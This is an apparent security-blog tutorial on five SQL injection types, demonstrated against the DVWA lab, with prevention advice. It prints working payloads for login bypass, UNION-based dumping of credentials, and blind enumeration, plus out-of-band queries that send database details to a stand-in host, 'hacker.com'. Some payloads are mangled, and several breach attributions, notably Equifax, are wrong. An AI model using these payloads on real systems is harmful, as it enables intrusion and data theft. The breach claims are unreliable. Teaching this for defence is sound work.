Breaking down the 5 most common SQL injection attacks

Because they are growing in complexity, web applications are the ultimate playground for malicious hackers looking to exploit any vulnerability they find. 

From outdated code to improperly configured web servers or unvalidated user input, they snatch up sensitive information using SQL injection attacks, part of the OWASP Top 10 vulnerabilities.

In this ongoing battle, organizations and offensive security pros grapple with many questions:  

Why do these attacks persist? 

What are the most prevalent types of SQL injection attacks? 

And, most importantly, how do we prevent them effectively?

You’ll get answers to these burning questions (and more!) in this practical guide. 

Let’s dive in!

1. What is SQL injection?

SQL Injection is a technique that allows adversaries to insert arbitrary SQL commands in the queries that a web application makes to its database queries. It works on vulnerable web pages and apps that use a backend database like MySQL, Oracle, or MSSQL.

It's a common way for malicious actors to get their hands on sensitive information they wouldn't otherwise access. 

SQLi attacks enable threat actors to add, update, or remove this information, permanently altering the application's behavior. This can also lead to a denial of service or compromise the underlying server or other backend infrastructure. 

Here are two real-world SQL injection attack examples:

• During the Sony Pictures hack, a group of malicious actors named "Guardians of Peace" managed to steal personal information about Sony Pictures employees and their families, internal communications, executive pay, unreleased films, future film plans, scripts - all because of a SQL injection. The story and SQLi issues may not be new, but they’re still very relevant.

• Marriott International breach: Marriott, the multinational hotel company, had a long-running data breach that began in 2014 but was identified only in 2018. The attackers got unauthorized access to the Starwood guest reservation database, which contained the personal information of approximately 500 million guests. The compromise was caused by a mix of causes, including SQL injection assaults on the online application and network infrastructure weaknesses.

2. How SQL injection attacks work

The goal of an SQL injection attack is to compromise a system by inserting malicious SQL injection code into a web form field that a user submits. The database then runs this code, allowing attackers to read or change private information. They get access to the database or execute other malicious acts by supplying input that manipulates the original SQL query in unanticipated ways.

We recommend watching this video from Computerphile where he explains how SQLI.

Before delving into hands-on SQL injection attack examples, let’s explore the inner workings of SQL queries.

What is an SQL query?

A Structured Query Language (SQL) query is a set of instructions that retrieve data from a relational database. It's a must-have for database administrators (DBAs) and developers since it streamlines data retrieval, manipulation, and management.

Keywords, operators, clauses, and expressions are only a few of the components that compile an SQL query. You can generate a statement combining these parts to request information from a database table or tables. Common SQL commands include the specialized SELECT, INSERT, UPDATE, and DELETE.

SQL queries offer various advantages but can pose significant risks if not handled properly. Malicious actors can get into a company's database and potentially steal or alter sensitive information through SQL injection vulnerabilities. As a result, protecting against attacks requires meticulous attention to input validation and well-formed SQL queries.

To identify and recommend mitigations that block these manipulations, learn through practical SQL injection examples that illustrate SQL injection exploits.

5 Common types of SQL injection attacks

I’ll go through these 7 hands-on techniques you can use to exploit SQL injections in web applications in your ethical hacking engagements. 

We’ll use DVWA (an open-source web app) to test payloads and give practical SQL injection examples. And most importantly, we’ll hack legally! 

1. In-band SQL injection

An attacker uses this technique to compromise a web application by inserting malicious SQL injection code into any available input fields. This way, They send the input into the database, where it is processed, and use it to access private information without authorization. 

In-band SQL injection attacks look like this: 

SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1';

By injecting the always true OR '1'='1' statement, malicious hackers attempt to circumvent the password verification process. The database will return all user records, including the admin user, without checking the password.

2. Error-based SQL injection

By inserting malicious SQL injection code into the input fields of a web application, an attacker can cause database errors that reveal sensitive data about the backend database. 

Here’s a concise illustration of an error-based SQL injection attack:

SELECT * FROM users WHERE username = 'admin' AND password = (SELECT TOP 1 name FROM sysobjects WHERE xtype = 'U');

In this case, the malicious user tries to retrieve the name of the first table in the database by injecting the subquery (SELECT TOP 1 name FROM sysobjects WHERE xtype = 'U'). The subquery returns the table's name if it exists. Otherwise, it sends an informative error message about the database.

In the following SQL injection example, the webpage allows fetching the first and last name of the user for a given ID. 

The application returns the user’s details from the database by submitting 5 as input for the User ID.

The application uses the following SQL query string:

SELECT firstname, lastname FROM users WHERE user_id = '$id';

The server directly accepts the input from the user and returns the associated values, indicating that an attacker can use malicious input to modify the backend query. 

Typing 5', the backend responds with an error because of the single quote like this:

The user’s input alters the backend query, which becomes:

SELECT first name, last name FROM users WHERE user_id = '5''; (pay attention to the extra quote here).

Making the same queries directly on the database server (for testing purposes only), you’ll observe similar results:

Exploiting error-based SQL injection relies on the fact that the injected SQL query displays its results within the error message that the database returns. 

For instance, injecting the following payload into the User ID field:

0' AND (SELECT 0 FROM (SELECT count(), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)2)) AS x FROM information_schema.columns GROUP BY x) y) - - '

will cause the application to return the following SQL error message (containing the value of the @@version variable):

Error: Duplicate entry '10.1.36-MariaDB#0' for key 'group_key'

The error appears because GROUP BY requires unique group keys, which are intentionally not unique to return the value of SELECT @@version in the error message.

3. UNION-based SQL injection

In this type of attack, threat actors insert malicious SQL injection code into the input fields of a web application to merge the results of multiple SELECT statements. 

Here's what it looks like:

SELECT username, password FROM users WHERE username = 'admin' UNION

SELECT name, pw FROM admins; – 

In this SQL injection attack example, malicious hackers try to retrieve the username and password from the users’ table and combine them with the name and password columns from the admins’ table. 

Going forward, they use the UNION operator to combine the results of the two SELECT statements and get the combined result set. 

Running a UNION operator with statements referring to different numbers of columns results in an error message, as with the following payload:

User ID: 1’ UNION SELECT 1;- -

However, the query string is successful when it has the correct number of columns:

User ID: 1' UNION SELECT 1,2;- -

Testing this in the database renders the same output. Incorrect numbers trigger an error, while the correct values successfully execute the query:

Cybercriminals will test multiple variants until they hit the right one. They'll try this method to elicit information about the database version number with the help of the @@version command:

UNION SELECT 1,@@version;- -

Similarly, the command current_user() can extract the user type under whose privileges the database is running.

UNION SELECT 1,current_user();- -

If exploited successfully, it extracts the names of the tables in the current database together with the same details for the columns in the table.

To extract the list of tables, use this:

1' UNION SELECT 1,tablename FROM informationschema.tables;- -

To get the column names, try:

1' UNION SELECT 1,columnname FROM informationschema.columns;- -

With these two queries in place, you can extract the table name users and column names userid, first_name, last_name, user, avatar, last_login, password, and failed_login. The query below retrieves the users’ usernames and passwords from the database:

1' UNION SELECT 1,concat(user,':',password) FROM users;- -

Most likely, the password is not stored in plain text but it’s in the hashed web form (MD5 in our case). However, cybercriminals will try to crack it using rainbow tables, which match plain text strings with their hash representation.

4. Blind (inferential) SQL Injection

In this type of attack, bad actors inject malicious SQL code into the input fields of a web application, but the user doesn’t see the (error) results of the query. This is because the HTTP responses don’t include the results of the relevant SQL query or any database errors.

There are two types of blind SQL Injection: boolean-based and time-based.

Boolean-based blind SQL Injection

For this particular SQL injection method, cybercriminals insert harmful SQL injection code into a web application's input fields forcing the database to return a boolean (true or false) result. 

Here’s how:

In this case, threat actors want to retrieve the first character of the admin user's password by injecting the substring function. The query will confirm as true if the password's initial character is 'a,' but if not, the response will be false.

Leveraging the previously mentioned vulnerable application, instead of receiving user details for the provided User ID, the reply shows if the ID appears in the database or not.

You’ll get the message “User ID exists in the database” for values 1-5, while an ID value larger than 5 gets “User ID is MISSING from the database”.

Try also a boolean-based payload to check if the application is vulnerable. Injecting the payload 1' and 1=1;- - results in a true condition because 1 is a valid ID and the '1=1' is a TRUE statement. So the output informs that the ID exists in the database.

Alternatively, feeding the payload 1' and 1=2;- - results in a false condition because 1 is a valid user ID and 1=2 is false. Thus, you’re informed that the user ID does not exist in the database.

The scenario above points to the chance of a blind SQL injection attack taking place. To identify the number of columns, use the following payload:

1' and 1=1 UNION SELECT 1;- -

The query fails because there are two columns in the table. But when adjusted correctly, the condition becomes true and the message validates the query.

1' and 1=1 UNION SELECT 1,2;- -

You can use this method to discover the version of the database too. You’ll get the first number of the database version with

1' and substring(@@version,1,1)=1;- -

The reply is positive because ‘1’ is a valid entry in the database and it is also the first character/number of the database version (@@version,1,1). 

For the second character, use this command:

1' and substring(@@version,2,1)=1;- -

Because the second character of the database version is not 1, it yields a negative result. However, requesting a ‘zero’ as the second character in the database version, the message is positive (version number is “10”).

1' and substring(@@version,2,1)=0;- -

The next step is to learn the name of the database, which begins with evaluating the length of the name. Then, enumerate the characters in the correct order until it hits the right string.

Use the following payloads to determine the length of the name:

1’ and length(database())=1;--

1’ and length(database())=2;- -

1’ and length(database())=3;- -

1’ and length(database())=4;- -

You’ll receive errors for the first three attempts and hit the right value on the fourth. This means that the name of the database is four characters long.

To enumerate the characters in the name of the database, use these payloads:

1' and substring(database(),1,1)='a';- -

1' and substring(database(),1,1)='b';- -

1' and substring(database(),1,1)='c';- -

None of the commands were correct because’ is the first letter in the name.

To identify the second character, use this:

1' and substring(database(),2,1)='v';- -

And for the third, run:

1' and substring(database(),3,1)='w';- -

While the fourth, try:

1' and substring(database(),4,1)='a';- -

In the end, the name of the database is “dvwa.” Attackers can automate this guessing process by writing and running a script, or by using sqlmap.

Time-based SQL Injection

In a time-based attack, threat actors craft an SQL command that forces the server to wait a certain period before responding. They send this database query to the server and then observe how long it takes to respond. 

A time-based blind SQL injection attack looks like this:

SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), null) AND ‘1’=’1’ AND password = 'password';

The goal is to retrieve the admin user's password by injecting the IF statement. If the condition (1=1) is true, the database will pause for 5 seconds using the SLEEP function. If not, the statement is null. The attackers gather information about the database by measuring the time it takes to receive a response.

To check the time-based blind SQL Injection, use this command:

1' AND sleep(10);- -

If you force a delayed response of 10 seconds, the reply comes when this period expires.

With the confirmation of the vulnerability, proceed to extract the database version number. Use a command that forces a reply after two seconds:

1' and if((select+@@version) like "10%",sleep(2),null);- -+

If the response comes in two seconds, the version starts with “10.” The “like” string operator used in the query is designed to make a character-by-character comparison.

5. Out-of-band SQL Injection

In this type of SQL injection, an attacker injects malicious SQL injection code into a web application's input fields, where the query results are not displayed. 

Then, they extract data from the database using an out-of-band (OOB) channel, such as a DNS or HTTP request to a server that is under their control.

To extract information about a MYSQL database, malicious actors use the following queries:

Database version:

1’;select

load_file(concat('\\\\',version(),'.hacker.com\\s.txt'));

Database name:

1’;select

load_file(concat('\\\\',database(),'.hacker.com\\s.txt'));

They include the output of the version() or database() commands into a DNS resolution query for the domain “hacker.com”.

In the image below, you can see how to add the version and name of the database to the DNS info for the malicious domain. The attacker who controls the server can read the information from the log files.

The impact of successful SQL injection attacks

If successfully exploited, these SQL injection examples can have serious consequences, granting cybercriminals access to sensitive information or enabling unauthorized operations on the database.

Here are three ways SQL injection attacks can impact your web apps:

• Cybercriminals get unauthorized access to user lists, personally identifiable information (PII), credit card numbers, and other sensitive data kept in the database.

Let’s take the Equifax data breach (2017) for example. 

Hackers exploited an SQL injection flaw in the company’s system, breaching the personal records of 143 million users. This breach revealed sensitive data like social security numbers, birthdays, addresses, or credit card info, shaking trust in the company's security.

• Data modification or deletion. They can change or delete data in the database, resulting in significant data loss or leaving the systems inoperable.

Sony PlayStation Network Attack (2011) is another example where malicious actors used SQL injection attacks. 

Exploiting an SQL injection vulnerability, they managed to breach Sony's PlayStation Network. Approximately 77 million users faced data theft and deletion. This resulted in service disruptions and shattered user confidence.

• They gain administrative rights to the system or the underlying database, allowing them to carry out more malicious actions or gain unauthorized access to specific areas of the system.

How to prevent SQL injection attacks in web applications

The impact of SQL injection attacks can be devastating for companies' critical assets and infrastructure.

However, there are a number of easy-to-implement remediation steps that you, as a pentester, can recommend to organizations that want to secure their web applications. 

Utilize prepared statements 

These are precompiled SQL statements that separate SQL logic from user input. With these statements, businesses can protect themselves from SQL injection attacks by securing user input fields from malicious code.

The term "input validation" refers to the process of comparing data entered by a user to a set of standards. Businesses need to implement strong input validation checks to guarantee the user input is valid and meets standards for things like expected values, data types, and lengths. 

This way, cybercriminals won't use the input fields to sneak in malicious SQL statements.

Try parameterized queries

Comparable to prepared statements, they reduce the likelihood of SQL injection vulnerabilities by using placeholders for user input and automatically sanitizing input data.

Restrict database rights 

Do this so users have access only to the data they need to do their jobs. Thus, you can better secure your sensitive data and code from intruders.

Apply the latest security updates

Ensure all software applications have the latest updates and security patches. This can make it harder for malicious actors to exploit vulnerabilities in outdated programs.

Perform regular vulnerability assessments and pentesting

Discover security flaws in web apps before threat actors do. As a result, businesses will minimize the risks of exposing their web apps to such attacks.

Successful SQL injection attacks enable cybercriminals to bypass authentication mechanisms and gain access to sensitive data such as usernames, passwords, credit card details, and more. They can use these details to launch more attacks, such as identity theft, financial fraud, or phishing.

If their confidential and critical data is exposed, customers and stakeholders will lose confidence in the company, which will also result in serious reputational damage.

Here are three proactive security measures companies can apply ASAP to prevent SQL injection attacks:

• Input validation and parameterized queries

• Enable strong authentication and access control mechanisms 

• Train employees to identify and avoid these attacks. 

Validate user-supplied input

You can do this in two ways: whitelisting and blacklisting characters that are accepted or denied in the user input fields.

Creating a list of approved characters is an efficient method to defend against SQL injection attacks. Once the whitelist is ready, the application will disallow all requests containing characters outside of it.

Blacklisting is not a recommended way to protect against any kind of injection because it is prone to failure. It works as long as the developer can make sure that the user input fields accept no special characters other than what’s required. The result should be escaping all characters that may prove harmful.

Let's use the example of a website store that enables keyword searching by consumers to demonstrate the impact of an SQL injection.

A malicious actor could exploit a website's failure to thoroughly check user input by entering harmful SQL injection code into the search field. Then, the website database might run this code, giving the attacker access to sensitive data such as user names, passwords, and payment information.

Developers can use methods like parameterized queries and input sanitization to actively validate user input and prevent this type of attack. 

Both parameterized queries and sanitization techniques remove potentially harmful characters that you can use to execute malicious commands from user input before sending it to the database.

Use prepared statements (parameterized queries)

This is one of the most effective ways to protect your code against SQL injection attacks. 

Prepared statements prevent the injection of malicious code into an SQL query by separating the SQL injection code from user input.

They are a powerful defense mechanism against SQL injection attacks, which you can easily implement in most programming languages.

Use them to define the SQL injection code ahead of time and then provide placeholders for user input. These placeholders are filled in with user input at runtime, preventing malicious code from being executed.

Here's what the PHP-prepared statement looks like:

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();

In this scenario, define a predefined SQL code and proceed by including the user input as a parameter through the execute method. 

If you replace the username placeholder in the SQL injection code with the user input at runtime, it will safeguard against SQL injection attacks, leaving no room for exploitation.

Leveraging prepared statements is a simple yet powerful technique to word off SQL injection attacks. If you separate the SQL injection code from the user input, you can create safer and more reliable web applications to ensure users' data is protected.

Use stored procedures

This method provides information security experts who can benefit from it. Stored procedures make it easier and more secure to access data, boost performance, and encourage the reuse of code while also making it more accessible. 

You can easily reuse code across your application if you encapsulate database logic within a stored procedure. This not only reduces the amount of code you need to create but also makes it simpler to maintain and update the database logic.

Case in point, here's an example of a simple stored procedure in SQL that retrieves customer information from a table:

CREATE PROCEDURE GetCustomerInfo
    @CustomerID INT
AS
BEGIN
    SELECT * FROM Customers WHERE CustomerID = @CustomerID
END

This stored procedure takes a customer ID as a parameter and retrieves the corresponding customer information from the customers' table. You can call this stored procedure from another SQL statement (e.g. a trigger or another stored procedure) by providing the customer ID as a parameter.

For example, to call this stored procedure and retrieve the information for customer 123, use the following SQL statement:

EXEC GetCustomerInfo @CustomerID = 123

Reuse this method throughout your application and make changes to the customer information retrieval logic in one place, instead of duplicating them in multiple SQL statements.

Limit or restrict admin privilege accounts 

Securing a SQL database requires severely limiting or restricting access to administrative accounts. 

By implementing these practices, you can effectively enforce the concept of least privilege, lower the risk of cyber attacks, prevent unauthorized access, and lessen the impact of insider threats.

If you carefully manage admin accounts and keep an eye out for any indicators of unusual behavior, you’ll better secure your SQL database system. 

Why? Because you will encounter databases with thousands of tables and you can’t manage it like a local computer from home where you give admin rights to everyone.

Add extra layers of protection 

• Solutions like a Web Application Firewall (WAF) can provide extra protection against SQL injection attacks. WAFs inspect traffic at the application level and can determine whether it’s bad or not. Maintenance is required as signatures need to be updated, otherwise, attackers can find a way to bypass the WAF.

• Detecting and recovering from errors is another key security measure to apply. It's important to handle errors in your application gracefully and not reveal any private data to the user. If errors are handled properly, malicious actors can’t use them to exploit your application's security flaws.

• Database hardening is essential to address potential security vulnerabilities and prevent SQL injection attacks. You can do this by encrypting data, establishing firewall rules, and regularly patching your systems to ensure your database and infrastructure are up-to-date and secure.

Why SQL Injection attacks remain a serious threat 

In 2023, SQL injection attacks were responsible for 23% of web application critical vulnerabilities discovered globally compared to 2022, where they were 33%.     

Cybersecurity becomes paramount when considering these prevalent attacks that have been around since the ‘90. Securing your web applications needs to remain a top priority for businesses worldwide.

This demands developers to wield the power of prepared statements, sanitize user input, and put the pedal to the metal when it comes to implementing basic security measures. 

But fear not! With a lot of vigilance, you can ward off those pesky SQL injection attacks. 

Always remember to always keep your SQL queries clean and tidy and never trust user input without proper validation. Stay ahead of the game, strengthen your cybersecurity defenses, and keep those attackers at bay.